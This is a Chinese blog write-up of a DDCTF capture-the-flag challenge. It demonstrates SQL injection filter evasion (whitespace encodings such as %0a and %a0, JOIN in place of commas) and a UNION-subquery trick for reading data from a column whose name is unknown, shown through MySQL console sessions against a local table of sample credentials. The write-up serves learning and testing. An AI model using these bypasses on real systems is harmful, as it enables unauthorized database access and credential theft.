发布于 2017-06-24 02:05:50 | 105 次阅读 | 评论: 0 | 来源: 网友投递
Mysql关系型数据库管理系统
MySQL是一个开放源码的小型关联式数据库管理系统，开发者为瑞典MySQL AB公司。MySQL被广泛地应用在Internet上的中小型网站中。由于其体积小、速度快、总体拥有成本低，尤其是开放源码这一特点，许多中小型网站为了降低网站总体拥有成本而选择了MySQL作为网站数据库。
前言
本文介绍的是DDCTF第五题，绕过未知字段名的技巧，这里拿本机来操作了下，思路很棒也很清晰，分享给大家，下面来看看详细的介绍：
实现思路
题目过滤空格和逗号，空格使用%0a，%0b，%0c，%0d，%a0，或者直接使用括号都可以绕过，逗号使用join绕过；
存放flag的字段名未知，information_schema.columns也将表名的hex过滤了，即获取不到字段名；这时可以利用联合查询，过程如下：
思想就是获取flag，让其在已知字段名下出现；
示例代码：
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)
mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
+---+-------+----------+-------------+
| 1 | 2 | 3 | 4 |
| 1 | admin | admin888 | 110@110.com |
| 2 | test | test123 | 119@119.com |
| 3 | cs | cs123 | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4 |
+-------------+
| 4 |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)
mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
+-------------+
| 4 |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)
mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id | username | password | email |
+-------------+----------+----------+-------------+
| 1 | admin | admin888 | 110@110.com |
| 120@120.com | 1 | 1 | 1 |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)总结
以上就是这篇文章的全部内容了，希望本文的内容对大家的学习或者工作能带来一定的帮助，如果有疑问大家可以留言交流，谢谢大家对PHPERZ的支持。